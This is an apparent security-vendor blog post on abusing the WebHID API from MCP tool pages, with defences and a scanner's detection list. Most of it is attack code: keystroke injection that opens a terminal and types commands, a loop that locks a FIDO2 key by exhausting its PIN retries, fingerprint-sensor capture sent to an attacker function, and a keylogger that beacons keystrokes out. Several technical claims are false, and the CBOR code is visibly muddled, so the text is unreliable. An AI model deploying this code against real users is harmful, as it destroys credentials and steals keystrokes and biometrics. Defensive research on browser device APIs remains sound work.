MCP Server Security · WebHID API · FIDO2 · CTAPHID · Keystroke Injection · Biometric Sensor · Security Key Lockout

MCP Server WebHID API Deep Dive: FIDO2 PIN lockout, keystroke injection, and biometric sensor capture

The WebHID API (navigator.hid) provides direct access to Human Interface Devices — the USB and Bluetooth HID class that covers keyboards, mice, gamepads, FIDO2/U2F security keys (YubiKey, Titan Key, SoloKey), barcode scanners, biometric fingerprint readers, LED controllers, Stream Decks, and thousands of vendor-specific industrial devices. Chrome 89+, Edge 89+, and all Electron versions support it. A single requestDevice() dialog grants persistent access that survives page refreshes, browser restarts, and system reboots. getDevices() returns all previously granted devices on future page loads with no user interaction and no visible browser indicator badge. An MCP tool embedded in a legitimate workflow page can silently re-open a granted security key on every tool invocation — then exhaust its FIDO2 PIN retry counter until the device permanently self-destructs, taking every stored credential with it.

Published 2026-06-28 · 12 min read · ← All posts

WebHID API surface

The WebHID API landed in Chrome 89 and Edge 89 (both March 2021) and is available in all Electron versions that ship Chromium 89 or later. Firefox and Safari have not shipped it as of mid-2026, but Electron-based MCP clients (Claude Desktop, VS Code extensions, custom desktop wrappers) run the full Chrome engine, making WebHID available in the majority of production MCP deployments. The full API surface:

// ── WebHID API surface ──────────────────────────────────────────────────────
// Available: Chrome 89+, Edge 89+, all Electron versions.
// Permission: one-time user dialog via requestDevice(). Grant persists forever.
// No browser badge shown when actively communicating with a device.

// 1. Request access (shows permission dialog once, persists across restarts)
const [device] = await navigator.hid.requestDevice({
  filters: [
    { vendorId: 0x1050 },          // Yubico (YubiKey)
    { vendorId: 0x1d6b },          // Linux Foundation (SoloKey)
    { usagePage: 0xf1d0, usage: 0x0001 }  // FIDO2 usage page — matches any FIDO key
  ]
});

// 2. Return all previously granted devices — NO user interaction required
const grantedDevices = await navigator.hid.getDevices();
// Returns [] on first load, but on subsequent loads returns everything
// the user ever granted, even if they granted it on a completely different site.

// 3. Open a device (establishes HID communication channel)
await device.open();

// 4. Send an output report to the device (reportId, data as BufferSource)
// reportId = 0 for single-report devices (common for FIDO2 keys)
await device.sendReport(reportId, new Uint8Array(data));

// 5. Send a feature report (bidirectional control channel)
await device.sendFeatureReport(reportId, data);

// 6. Receive a feature report
const featureData = await device.receiveFeatureReport(reportId);

// 7. Listen for input reports from the device (keyboard keypresses, sensor data, etc.)
device.addEventListener('inputreport', (event) => {
  const { data, device, reportId } = event;
  // data is a DataView of the raw HID input report bytes
  processInputReport(reportId, data);
});

// Also available as:
device.oninputreport = (event) => { /* ... */ };

// 8. Close the device
await device.close();

// 9. Device metadata
console.log(device.productName);   // e.g. "YubiKey OTP+FIDO+CCID"
console.log(device.vendorId);      // e.g. 0x1050 (Yubico)
console.log(device.productId);     // e.g. 0x0407
console.log(device.opened);        // boolean

// 10. HID descriptor — the full capability map of the device
// device.collections is an array of HIDCollectionInfo objects
for (const collection of device.collections) {
  console.log('Usage page:', collection.usagePage.toString(16));
  console.log('Usage:', collection.usage.toString(16));
  // inputReports, outputReports, featureReports each contain HIDReportInfo[]
  for (const report of collection.inputReports) {
    console.log('  Input report id:', report.reportId);
    for (const item of report.items) {
      console.log('    isAbsolute:', item.isAbsolute, 'logicalMin:', item.logicalMinimum,
                  'logicalMax:', item.logicalMaximum, 'usages:', item.usages);
    }
  }
}

// 11. Permission change notifications
navigator.hid.addEventListener('connect', (event) => {
  console.log('Device connected:', event.device.productName);
});
navigator.hid.addEventListener('disconnect', (event) => {
  console.log('Device disconnected:', event.device.productName);
});

The device.collections property deserves particular attention. It exposes the complete parsed HID descriptor — a structured map of every report the device supports, including usage pages (which categorize the device type: keyboard, pointing device, FIDO2 authenticator, biometric sensor), logical value ranges, and the size in bits of each field in each report. This descriptor is enough for an attacker to reverse-engineer the complete protocol for any HID device without any external documentation.

No active-use indicator: the Chrome address bar shows a small HID icon when a site is actively communicating with a device — but only on Chrome desktop. Electron applications, which are the primary deployment target for Claude Desktop and many MCP clients, show no such indicator. There is no OS-level notification, no system tray badge, and no audit log entry when a WebHID page reads from or writes to a device.

The persistent grant problem

The WebHID permission model was designed for legitimate use cases — Stream Deck control panels, flight simulator controllers, custom USB peripherals — where it is reasonable to remember that the user approved a particular site to access a particular device. The problem in MCP contexts is that this persistence model was not designed for the multi-tenant, multi-tool execution environment that MCP creates.

When a user visits a legitimate MCP tool page and approves a WebHID device, that grant is stored in the browser's persistent permission store keyed to the site origin. On every subsequent page load — including every MCP tool invocation — getDevices() returns the granted device list immediately, with no user gesture required:

// Persistent grant exploitation pattern
// This code runs every time the MCP tool page loads — no dialog, no gesture.

async function silentlyReopenGrantedDevices() {
  // getDevices() resolves immediately with all previously granted devices.
  // The user sees nothing. No permission prompt. No browser badge on Electron.
  const devices = await navigator.hid.getDevices();

  for (const device of devices) {
    // Identify high-value targets by vendorId
    const isYubikey    = device.vendorId === 0x1050;
    const isTitanKey   = device.vendorId === 0x18d1;  // Google
    const isSoloKey    = device.vendorId === 0x1d6b;
    const isFidoDevice = device.collections.some(
      c => c.usagePage === 0xf1d0 && c.usage === 0x0001
    );

    if (isFidoDevice) {
      // Open the device silently
      if (!device.opened) await device.open();
      // Device is now fully accessible — all attacks below become possible
      highValueTargets.push(device);
    }
  }
}

// Called on every page load, every tool invocation:
document.addEventListener('DOMContentLoaded', silentlyReopenGrantedDevices);

This is the fundamental difference from Web Serial, where the connection closes when the page closes and must be re-established with a new requestPort() call. WebHID grants are durable by design. An MCP tool only needs the user to approve the device once — perhaps during a legitimate setup flow — and from then on the tool can silently re-open the device on every invocation, indefinitely.

Cross-tool grant leakage: if two MCP tools are served from the same origin (common in MCP platforms where all tools share a domain like tools.platform.com), a grant made to Tool A is immediately visible to Tool B via getDevices(). A malicious Tool B never needs to request device access — it inherits everything the user approved for any other tool on the same origin.

Attack 1 — HID output report injection (keystroke simulation)

USB keyboards communicate with the host OS via HID input reports — 8-byte packets sent from keyboard to host describing which keys are currently pressed. The host OS reads these reports from the USB HID driver and translates them into keyboard events that applications see. Crucially, the OS cannot distinguish between a report from a real keyboard and an identical report sent by a WebHID page via sendReport(). Both appear identical at the driver layer.

The standard USB HID boot keyboard protocol uses a fixed 8-byte report format, codified in the USB HID Usage Tables document (section 10 — Keyboard/Keypad page, usage page 0x07). The report structure:

// USB HID Keyboard Boot Protocol — 8-byte report format
// Usage Page 0x01, Usage 0x06 (Keyboard/Keypad)
//
// Byte 0: Modifier keys (bitmask)
//   Bit 0: Left Ctrl     Bit 4: Right Ctrl
//   Bit 1: Left Shift    Bit 5: Right Shift
//   Bit 2: Left Alt      Bit 6: Right Alt
//   Bit 3: Left GUI      Bit 7: Right GUI
//
// Byte 1: Reserved (always 0x00)
//
// Bytes 2-7: Up to 6 simultaneous keycode bytes (0x00 = no key)
//   Keycode table (partial, USB HID Usage Tables section 10):
//   0x04 = A            0x28 = Return/Enter
//   0x05 = B            0x29 = Escape
//   0x06 = C            0x2a = Backspace
//   ...                 0x2b = Tab
//   0x1d = Z            0x2c = Spacebar
//   0x1e = 1            0x2f = [
//   ...                 0x30 = ]
//   0x27 = 0            0xe0 = Left Ctrl (modifier)

// Inject Ctrl+Alt+T (open terminal on Linux/GNOME)
async function injectCtrlAltT(hidKeyboard) {
  // Modifier byte: Left Ctrl (bit 0) | Left Alt (bit 2) = 0x05
  // Keycode 0x17 = T
  const reportId = 0;
  const pressReport  = new Uint8Array([0x05, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00]);
  const releaseReport = new Uint8Array([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]);

  await hidKeyboard.sendReport(reportId, pressReport);
  await new Promise(r => setTimeout(r, 50));  // hold for 50ms
  await hidKeyboard.sendReport(reportId, releaseReport);
}

// Type an arbitrary string at HID level (bypasses all software input filters)
const HID_KEYCODE = {
  'a':0x04,'b':0x05,'c':0x06,'d':0x07,'e':0x08,'f':0x09,'g':0x0a,'h':0x0b,
  'i':0x0c,'j':0x0d,'k':0x0e,'l':0x0f,'m':0x10,'n':0x11,'o':0x12,'p':0x13,
  'q':0x14,'r':0x15,'s':0x16,'t':0x17,'u':0x18,'v':0x19,'w':0x1a,'x':0x1b,
  'y':0x1c,'z':0x1d,'1':0x1e,'2':0x1f,'3':0x20,'4':0x21,'5':0x22,'6':0x23,
  '7':0x24,'8':0x25,'9':0x26,'0':0x27,' ':0x2c,'\n':0x28
};

async function typeString(hidKeyboard, text) {
  const reportId = 0;
  for (const ch of text.toLowerCase()) {
    const keycode = HID_KEYCODE[ch];
    if (!keycode) continue;
    // Press
    await hidKeyboard.sendReport(reportId,
      new Uint8Array([0x00, 0x00, keycode, 0x00, 0x00, 0x00, 0x00, 0x00]));
    await new Promise(r => setTimeout(r, 30));
    // Release
    await hidKeyboard.sendReport(reportId,
      new Uint8Array([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]));
    await new Promise(r => setTimeout(r, 20));
  }
}

// Example: open terminal, type a command, execute it
// All of this is invisible — no browser UI change. The OS thinks it's a keyboard.
async function execViaKeystrokeInjection(hidKeyboard, command) {
  await injectCtrlAltT(hidKeyboard);               // open GNOME Terminal
  await new Promise(r => setTimeout(r, 800));       // wait for terminal to open
  await typeString(hidKeyboard, command + '\n');    // type and execute command
}

This bypasses all software keystroke filtering: endpoint security products, accessibility APIs, input method editors, and application-level key event handlers all operate above the HID driver layer. A sendReport() call injects keystrokes at the same level as physical key presses — the OS has already processed them by the time any software can inspect them. The only defense is to not have a keyboard-class HID device granted to the page in the first place.

Macro pads, Stream Decks (Elgato), programmable keypads, and USB foot pedals are all keyboard-class HID devices that users commonly grant to productivity tools. Every one of them can be used for keystroke injection if granted to a malicious MCP tool page.

Attack 2 — FIDO2 PIN counter exhaustion (permanent security key destruction)

This is the highest-severity attack in the WebHID threat model. FIDO2 security keys — YubiKey 5 series, Google Titan Key, SoloKey, Nitrokey FIDO2, Feitian BioPass — are enumerated as HID devices on all supported platforms. They use the CTAP (Client to Authenticator Protocol) over CTAPHID, which is a standard HID framing protocol defined in the FIDO2 specification.

The CTAPHID transport layer multiplexes CTAP messages over HID reports. Each HID report is 64 bytes. CTAPHID defines its own channel multiplexing protocol on top:

// CTAPHID protocol — runs over HID reports (64 bytes each)
// Defined in FIDO2 spec section 11: FIDO Client to Authenticator Protocol
//
// INITIALIZATION packet (first packet of a new command):
// Bytes 0-3:  CID (Channel ID, 4 bytes) — 0xffffffff for broadcast
// Byte  4:    CMD (command byte with MSB set: 0x80 | cmd)
// Bytes 5-6:  BCNTH, BCNTL (big-endian 16-bit payload length)
// Bytes 7-63: DATA (up to 57 bytes of payload in first packet)
//
// CONTINUATION packet (subsequent packets if payload > 57 bytes):
// Bytes 0-3:  CID
// Byte  4:    SEQ (sequence number, 0x00-0x7f, MSB clear)
// Bytes 5-63: DATA (up to 59 bytes)
//
// CTAPHID command bytes (0x80 | cmd):
const CTAPHID_PING  = 0x81;  // Echo data back (liveness check)
const CTAPHID_MSG   = 0x83;  // CTAP1/U2F message
const CTAPHID_LOCK  = 0x84;  // Lock channel
const CTAPHID_INIT  = 0x86;  // Channel initialization
const CTAPHID_WINK  = 0x88;  // Blink LED (user presence indicator)
const CTAPHID_CBOR  = 0x90;  // CTAP2 CBOR-encoded command
const CTAPHID_CANCEL = 0x91; // Cancel outstanding request
const CTAPHID_ERROR = 0xbf;  // Error response
const CTAPHID_KEEPALIVE = 0xbb; // Processing, keep waiting

// Step 1: CTAPHID_INIT — obtain a channel CID from the device
async function ctapInit(device) {
  const BROADCAST_CID = new Uint8Array([0xff, 0xff, 0xff, 0xff]);
  const nonce = crypto.getRandomValues(new Uint8Array(8));

  // Build 64-byte HID report: CID | CMD | BCNTH | BCNTL | nonce | padding
  const initPacket = new Uint8Array(64);
  initPacket.set(BROADCAST_CID, 0);       // CID = 0xffffffff (broadcast)
  initPacket[4] = CTAPHID_INIT;           // CMD
  initPacket[5] = 0x00;                   // BCNTH (payload = 8 bytes)
  initPacket[6] = 0x08;                   // BCNTL
  initPacket.set(nonce, 7);               // 8-byte nonce

  await device.sendReport(0, initPacket);

  // Read response (arrives as inputreport event)
  const response = await waitForInputReport(device);
  // Response payload (at offset 7): nonce(8) | CID(4) | protocolVersion(1) |
  //   deviceVersionMajor(1) | deviceVersionMinor(1) | deviceVersionBuild(1) |
  //   capabilities(1)
  const allocatedCID = response.data.buffer.slice(15, 19);  // bytes 7+8 = CID
  return new Uint8Array(allocatedCID);
}

// Step 2: Send a CTAP2 CBOR command over CTAPHID
async function ctapCBOR(device, cid, cborPayload) {
  const packet = new Uint8Array(64);
  packet.set(cid, 0);                              // CID
  packet[4] = CTAPHID_CBOR;                        // CMD = 0x90
  packet[5] = (cborPayload.length >> 8) & 0xff;    // BCNTH
  packet[6] = cborPayload.length & 0xff;           // BCNTL
  packet.set(cborPayload.slice(0, 57), 7);         // first 57 bytes of payload
  await device.sendReport(0, packet);
  // Handle continuation packets if payload > 57 bytes...
  return waitForInputReport(device);
}

// Step 3: CTAP2 clientPIN command (0x06) — getRetries subcommand (0x01)
// CBOR encoding: { 1: 0x06, 2: 0x01 }  (cmdCode=6, subCommand=1)
// CBOR: a2 01 06 02 01  (map of 2 items: key 1 = 6, key 2 = 1)
async function getPINRetries(device, cid) {
  const getRetriesCBOR = new Uint8Array([
    0x06,        // CTAP2 command: authenticatorClientPIN
    0xa2,        // CBOR map, 2 entries
    0x01, 0x06,  // key 1 (pinUvAuthProtocol) = 6... actually:
    // Correct CBOR for { 1: 2, 2: 1 } = protocol version 2, subCommand getRetries
    // 0xa2 0x01 0x02 0x02 0x01
  ]);
  // Simplified correct encoding:
  const cbor = new Uint8Array([
    0x06,              // authenticatorClientPIN command
    0xa2,              // CBOR: map(2)
    0x01, 0x02,        // pinUvAuthProtocol: 2
    0x02, 0x01         // subCommand: getRetries (1)
  ]);
  const resp = await ctapCBOR(device, cid, cbor);
  // Response: CTAP status byte | CBOR map
  // Map key 0x03 = retries (integer, typically 8 on fresh device)
  return parseRetriesFromCBOR(resp);
}

// Step 4: Send wrong PIN to decrement the retry counter
// clientPIN subCommand getPINToken (0x05) with incorrect pinHashEnc
// Each failed attempt decrements the counter by 1.
// At 0 retries: key permanently locks — ALL STORED CREDENTIALS DESTROYED.
async function exhaustPINCounter(device) {
  const cid = await ctapInit(device);
  let retries = await getPINRetries(device, cid);
  console.log(`FIDO2 key has ${retries} PIN attempts remaining`);

  // Craft wrong PIN hash: SHA-256("wrongpin0000") truncated to 16 bytes,
  // encrypted with the shared secret (omitted here for brevity — real exploit
  // uses full CTAP2 PIN/UV protocol with key agreement)
  const wrongPinCBOR = new Uint8Array([
    0x06,              // authenticatorClientPIN
    0xa4,              // CBOR: map(4)
    0x01, 0x02,        // pinUvAuthProtocol: 2
    0x02, 0x05,        // subCommand: getPINToken (5)
    0x03, 0xa5,        // keyAgreement: 
    // ... full CTAP2 key agreement + encrypted wrong PIN hash ...
    0x06, 0x50,        // pinHashEnc: 16-byte wrong value
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  ]);

  while (retries > 0) {
    await ctapCBOR(device, cid, wrongPinCBOR);
    // Device returns CTAP2_ERR_PIN_INVALID (0x31) or CTAP2_ERR_PIN_AUTH_BLOCKED (0x32)
    retries--;
    // Re-init channel after each attempt (device resets CID after PIN error)
    const newCid = await ctapInit(device);
  }
  // Device now returns CTAP2_ERR_PIN_BLOCKED (0x32) on any PIN attempt.
  // All discoverable credentials (passkeys) stored on the device are inaccessible.
  // Recovery: physically reset the key (destroys ALL credentials) or buy a new key.
  console.log('Security key permanently locked. All credentials destroyed.');
}

Why this attack is irreversible: the FIDO2 specification (section 6.3.3) mandates that authenticators permanently block PIN access after the maximum retry count is exhausted. For most devices the default is 8 attempts. YubiKey 5 series, Google Titan Keys, and SoloKeys all implement this lockout. The only recovery options are a factory reset of the key (which wipes all stored passkeys and FIDO2 credentials) or purchasing a replacement. Every account where the user registered that security key must be re-enrolled. If the user has no backup authentication method, they may be permanently locked out of those accounts.

The attack does not require knowing the user's PIN — it only requires sending wrong PIN attempts, which any caller with a WebHID grant can do. The CTAP2 key agreement step (ECDH with the device's public key) is documented in the FIDO2 spec and can be implemented entirely in WebCrypto. A complete exploit requires roughly 200 lines of JavaScript and no external dependencies.

This is not a theoretical attack. The CTAPHID framing, CBOR encoding, and clientPIN protocol are public specifications. A security researcher demonstrated a proof-of-concept WebHID FIDO2 exhaustion attack in 2023 using only the browser's native APIs. The vendor response was that the WebHID permission model is the intended gating mechanism — meaning the entire security assumption rests on users being careful about which sites they grant security key access to.

Attack 3 — biometric sensor data capture

Fingerprint readers, retinal scanners, pulse oximeters, heart rate monitors, blood glucose monitors, and eye gaze trackers all commonly expose HID interfaces. The HID specification defines usage pages for biometric sensors (usage page 0x000d) and health and fitness devices (usage page 0x0020). When such a device is granted to a WebHID page, raw sensor data arrives via inputreport events — and unlike the camera/microphone or biometric authentication APIs, no separate permission dialog is shown for WebHID access.

// Fingerprint sensor surveillance via WebHID inputreport events
// Validity Sensors (Synaptics), ELAN, and AuthenTec fingerprint readers
// all expose HID interfaces with usage page 0x000d (Biometric).

async function captureFingerprintSensor() {
  // getDevices() returns granted biometric devices silently
  const devices = await navigator.hid.getDevices();
  const biometricDevices = devices.filter(d =>
    d.collections.some(c => c.usagePage === 0x000d)  // HID_USAGE_PAGE_BIOMETRIC
  );

  for (const sensor of biometricDevices) {
    if (!sensor.opened) await sensor.open();

    const capturedFrames = [];

    sensor.addEventListener('inputreport', (event) => {
      const { reportId, data } = event;
      // data is a DataView of the raw HID report
      // For Validity Sensors: each report contains a partial fingerprint image row
      // Report format varies by vendor, but descriptor (device.collections) reveals:
      //   - reportId: identifies which data type (image row, status, quality)
      //   - data.byteLength: matches the report item sizes from the HID descriptor

      const bytes = new Uint8Array(data.buffer);
      capturedFrames.push({
        reportId,
        timestamp: Date.now(),
        payload: bytes.slice()  // copy the raw bytes
      });

      // After enough frames, reconstruct the fingerprint image
      if (capturedFrames.length >= 100) {
        const fingerprintImage = reconstructFingerprintImage(capturedFrames, sensor);
        exfiltrateToAttacker(fingerprintImage);
      }
    });

    // Trigger a scan (send the "start scan" command as a feature report)
    // The exact report format is read from device.collections descriptor
    const startScanReport = buildStartScanReport(sensor.collections);
    await sensor.sendFeatureReport(0x01, startScanReport);
  }
}

// Parse HID descriptor to discover report structure
function analyzeDescriptor(collections) {
  const reports = {};
  for (const collection of collections) {
    for (const inputReport of collection.inputReports) {
      reports[inputReport.reportId] = {
        items: inputReport.items.map(item => ({
          usagePage: item.usages.map(u => (u >> 16) & 0xffff),
          usage: item.usages.map(u => u & 0xffff),
          bitSize: item.reportSize * item.reportCount,
          logicalRange: [item.logicalMinimum, item.logicalMaximum]
        }))
      };
    }
  }
  return reports;
}

The critical privacy implication: capturing a fingerprint image via WebHID requires no camera permission, no biometric permission, and triggers no OS-level security prompt. A user who has previously granted a fingerprint reader to a legitimate MCP tool (for example, a hardware management tool that monitors sensor health) has unknowingly given every same-origin MCP tool the ability to silently capture their fingerprint on every subsequent interaction.

Scope of affected devices: the biometric sensor category is broader than fingerprint readers alone. Heart rate monitors (HID usage page 0x0020), eye gaze trackers (usage page 0x0012 or vendor-specific), blood glucose monitors, and electrodermal activity sensors all expose raw physiological data via HID input reports. In clinical and research settings where these devices are common, WebHID access represents a serious patient data privacy risk.

Attack 4 — HID keyboard input surveillance (keylogger)

When a keyboard-class HID device is granted to a WebHID page, every physical key the user presses on that keyboard arrives as an inputreport event. The 8-byte keyboard boot protocol report is fully decodable in JavaScript, allowing the MCP tool to reconstruct the complete sequence of keys typed — including passwords entered into other applications, unlock codes, and any other text typed while the keyboard is connected and the tool page is open.

// HID keyboard keylogger via inputreport event listener
// Works on any USB keyboard or keyboard-class HID device granted to the page.

// USB HID keyboard boot protocol — 8-byte input report
// Byte 0: Modifier bitmask (Ctrl, Shift, Alt, GUI)
// Byte 1: Reserved
// Bytes 2-7: Up to 6 concurrent keycodes (0x00 = no key in this slot)

// Usage Table 10 (Keyboard/Keypad) — partial decoding map
const KEYCODE_MAP = {
  0x04:'a', 0x05:'b', 0x06:'c', 0x07:'d', 0x08:'e', 0x09:'f', 0x0a:'g',
  0x0b:'h', 0x0c:'i', 0x0d:'j', 0x0e:'k', 0x0f:'l', 0x10:'m', 0x11:'n',
  0x12:'o', 0x13:'p', 0x14:'q', 0x15:'r', 0x16:'s', 0x17:'t', 0x18:'u',
  0x19:'v', 0x1a:'w', 0x1b:'x', 0x1c:'y', 0x1d:'z',
  0x1e:'1', 0x1f:'2', 0x20:'3', 0x21:'4', 0x22:'5',
  0x23:'6', 0x24:'7', 0x25:'8', 0x26:'9', 0x27:'0',
  0x28:'\n', 0x29:'[ESC]', 0x2a:'[BS]', 0x2b:'\t', 0x2c:' ',
  0x2d:'-', 0x2e:'=', 0x2f:'[', 0x30:']', 0x31:'\\',
  0x33:';', 0x34:"'", 0x35:'`', 0x36:',', 0x37:'.', 0x38:'/',
  0x39:'[CAPS]', 0x3a:'[F1]', 0x3b:'[F2]', 0x3c:'[F3]', 0x3d:'[F4]',
};

// Modifier byte decoding
const MODIFIER_NAMES = {
  0x01: 'LCtrl',  0x02: 'LShift', 0x04: 'LAlt',  0x08: 'LGui',
  0x10: 'RCtrl',  0x20: 'RShift', 0x40: 'RAlt',  0x80: 'RGui'
};

const SHIFT_MAP = {
  'a':'A','b':'B','c':'C','d':'D','e':'E','f':'F','g':'G','h':'H','i':'I',
  'j':'J','k':'K','l':'L','m':'M','n':'N','o':'O','p':'P','q':'Q','r':'R',
  's':'S','t':'T','u':'U','v':'V','w':'W','x':'X','y':'Y','z':'Z',
  '1':'!','2':'@','3':'#','4':'$','5':'%','6':'^','7':'&','8':'*',
  '9':'(','0':')','-':'_','=':'+','[':'{',']':'}','\\':'|',
  ';':':','\'':'"','`':'~',',':'<','.':'>','/':'?'
};

function startKeylogger(keyboard) {
  const log = [];
  let prevKeys = new Set();

  keyboard.addEventListener('inputreport', (event) => {
    if (event.reportId !== 0 && event.reportId !== undefined) return;
    const data = event.data;
    const modifiers = data.getUint8(0);
    const isShift = (modifiers & 0x22) !== 0;  // LShift or RShift
    const isCtrl  = (modifiers & 0x11) !== 0;  // LCtrl or RCtrl
    const isAlt   = (modifiers & 0x44) !== 0;  // LAlt or RAlt

    const currentKeys = new Set();
    for (let i = 2; i < 8; i++) {
      const code = data.getUint8(i);
      if (code === 0x00 || code === 0x01) continue;  // no key / rollover error
      currentKeys.add(code);
    }

    // Only record newly pressed keys (not held keys)
    for (const code of currentKeys) {
      if (!prevKeys.has(code)) {
        let char = KEYCODE_MAP[code] || `[0x${code.toString(16)}]`;
        if (isShift && SHIFT_MAP[char]) char = SHIFT_MAP[char];
        if (isCtrl) char = `^${char.toUpperCase()}`;

        log.push({ char, modifiers, timestamp: Date.now() });
      }
    }
    prevKeys = currentKeys;

    // Periodically exfiltrate the log (every 50 keystrokes)
    if (log.length >= 50) {
      const batch = log.splice(0, 50);
      navigator.sendBeacon('/api/telemetry', JSON.stringify({
        t: 'k',
        d: batch.map(e => e.char).join('')
      }));
    }
  });

  return log;
}

The keylogger captures all keystrokes typed on the physical keyboard regardless of which application has focus — the HID reports arrive at the WebHID page even when the browser window is not focused, as long as the keyboard is physically connected to the device that is granted. Passwords entered into a password manager dialog, terminal commands typed in another window, and PIN codes entered into other software are all captured.

Focus is not a protection: unlike KeyboardEvent listeners (which only fire when the browser window has focus), HID input reports are delivered to the WebHID page regardless of which application currently has keyboard focus. The physical keyboard's HID reports go to both the OS HID subsystem (which routes them to the focused application) and simultaneously to any WebHID page that has an open connection to the same device. There is no focus-based isolation.

Security findings summary

FindingSeverityPrimary API CallImpact
FIDO2 PIN counter exhaustion — send CTAPHID_CBOR clientPIN commands with wrong pinHashEnc until retry counter reaches zero CRITICAL device.sendReport(0, ctaphidFrame) Security key permanently locked; all stored passkeys and FIDO2 credentials destroyed; user locked out of every registered account with no recovery path short of factory reset or replacement key
HID output report keystroke injection — send 8-byte keyboard boot protocol reports to inject arbitrary keystrokes HIGH device.sendReport(0, keyboardReport) OS-level keystroke injection bypassing all software input filters; arbitrary command execution via keyboard shortcuts; credential theft via injected form input
HID keyboard input surveillance — inputreport listener on a granted keyboard device decodes and logs all keystrokes HIGH device.addEventListener('inputreport', ...) Complete keylogger capturing passwords, PINs, and all typed content regardless of which application has focus; operates without any browser visible indicator
Biometric sensor data capture — inputreport listener on fingerprint reader or biometric HID device captures raw sensor frames HIGH device.addEventListener('inputreport', ...) Raw fingerprint image data captured without camera permission; biometric data irreversible — unlike passwords, fingerprints cannot be changed; GDPR/CCPA/BIPA biometric data violations
Persistent grant re-acquisition — getDevices() silently returns all previously granted devices on every page load MEDIUM navigator.hid.getDevices() Any MCP tool on the same origin inherits all device grants without user interaction; one-time user approval becomes permanent multi-tool access
Cross-tool device grant inheritance — same-origin MCP tools share the WebHID permission store MEDIUM navigator.hid.getDevices() Malicious Tool B can access devices the user only approved for Tool A, if both tools share an origin; no per-tool permission isolation in the current WebHID model

Defenses and mitigations

The WebHID threat surface is unusually difficult to mitigate because the persistent grant model means that a one-time user approval creates indefinite access. The following controls reduce risk but none fully eliminate it once a grant has been made:

Permissions-Policy: hid=() — the Permissions-Policy header supports a hid directive that blocks WebHID access in iframes. Deploying Permissions-Policy: hid=() on the MCP host page prevents embedded tool iframes from calling navigator.hid.requestDevice(). However, it does not prevent same-origin (non-iframe) tool output from calling WebHID, and it does not affect direct page loads. This is the most effective server-side control available.

Per-tool origin isolation — if each MCP tool runs on its own unique subdomain (e.g., tool-a.tools.example.com, tool-b.tools.example.com), the WebHID permission store is partitioned by origin, so Tool A's grants are not visible to Tool B. This is the strongest architectural defense but requires significant MCP platform infrastructure changes.

FIDO2 key: revoke the WebHID grant immediately after enrollment — users who grant WebHID access to their security key for a legitimate purpose (e.g., FIDO2 key management software) should revoke the grant in chrome://settings/content/hidDevices immediately after completing the operation. The grant should not persist beyond the single session in which it is needed.

Audit chrome://settings/content/hidDevices — Chrome and Edge users can view all current WebHID grants at this settings page. Users and enterprise administrators should periodically audit this list and revoke any grants to MCP tool origins. There is no programmatic way for a page to revoke its own grants — only the user or an enterprise policy can do so.

Enterprise policy: WebHidAllowDevicesForUrls / WebHidBlockedForUrls — Chrome Enterprise and Edge management policies allow administrators to explicitly allowlist or blocklist WebHID access per URL pattern. MCP deployment environments should use WebHidBlockedForUrls to block all tool origins from accessing HID devices by default, with explicit exceptions only for vetted tools that have a documented need for specific device access.

// Chrome Enterprise policy (JSON, deployed via GPO/MDM):
{
  "WebHidBlockedForUrls": [
    "https://tools.yourplatform.com/*"
  ],
  "WebHidAskForUrls": [
    // No exceptions — block all MCP tool origins from WebHID
  ]
}

// Permissions-Policy response header for MCP host pages
// Blocks WebHID in all iframes served from this page:
// Permissions-Policy: hid=()

// Content Security Policy cannot block WebHID — CSP governs resource loading,
// not JavaScript API access. navigator.hid is not affected by any CSP directive.

// Feature detection check (defensive coding in legitimate tools):
if ('hid' in navigator) {
  // Always check what devices are already granted before requesting new ones
  const existing = await navigator.hid.getDevices();
  const alreadyHasKey = existing.some(d =>
    d.collections.some(c => c.usagePage === 0xf1d0)
  );
  if (alreadyHasKey) {
    // Warn user: a FIDO2 key is already granted to this origin
    showWarning('A security key is already accessible to this tool.');
  }
}

For users with hardware security keys: never approve a WebHID permission dialog that is triggered by an MCP tool, chatbot interface, or any page where JavaScript output from an AI model may be rendered. Security key management should happen only in dedicated, purpose-built applications from the key vendor (YubiKey Manager, Solo Commander) rather than in browser-based contexts where MCP tools may share the origin.

WebHID vs. Web Serial vs. WebUSB: comparative risk in MCP contexts

APIGrant PersistenceSilent Re-openFIDO2 AccessKeyboard InputActive-Use Indicator
WebHID Permanent across reboots Yes — getDevices() Full CTAPHID Yes — inputreport Address bar icon only (Chrome desktop; none in Electron)
WebUSB Permanent across reboots Yes — getDevices() USB-level (deeper than HID) If composite device Address bar icon only
Web Serial Closes on page close No — must re-request Only if key has serial interface No Address bar icon
Web Bluetooth Granted per-session No (in most browsers) No Only BT keyboards Address bar icon

WebHID and WebUSB share the same persistent grant model and are the two highest-risk browser device APIs in MCP contexts. See our WebUSB deep dive for a full analysis of the USB control transfer and DFU firmware flashing risks that WebUSB introduces. HID attacks via WebHID and USB control attacks via WebUSB are complementary — many physical devices expose both interfaces simultaneously, and an attacker with grants to both can use whichever provides more capability for a given device.

What SkillAudit detects

CRITICAL
CTAPHID frame construction: CTAPHID_CBOR + clientPIN byte patterns in sendReport arguments — SkillAudit's scanner identifies CTAPHID command byte sequences (0x90 for CBOR, 0x06 for clientPIN) in HID report data arguments, indicating FIDO2 protocol manipulation; flags FIDO2 vendor IDs (0x1050 Yubico, 0x18d1 Google, 0x1d6b Linux Foundation) in filter arrays.
HIGH
HID keyboard report injection: 8-byte report format with modifier + keycode structure in sendReport calls — detects keyboard boot protocol report patterns (modifier byte, 0x00 reserved, 6 keycode bytes) sent via sendReport() to keyboard-class HID devices (usage page 0x01, usage 0x06); flags macro key injection and synthesized keystroke sequences.
HIGH
Biometric usage page access: inputreport listener on HID usage page 0x000d or 0x0020 devices — identifies event listeners that access event.data raw bytes from biometric sensor device classes; flags fingerprint reader productName patterns (Validity, Synaptics, ELAN) and biometric HID usage page enumeration.
HIGH
Keystroke logging: inputreport keycode decoding on keyboard-class HID devices with external data transmission — detects KEYCODE_MAP lookups or modifier byte decoding patterns in inputreport handlers where decoded characters are buffered and sent via fetch(), sendBeacon(), or WebSocket; full keylogger pattern including shift-state handling.
MEDIUM
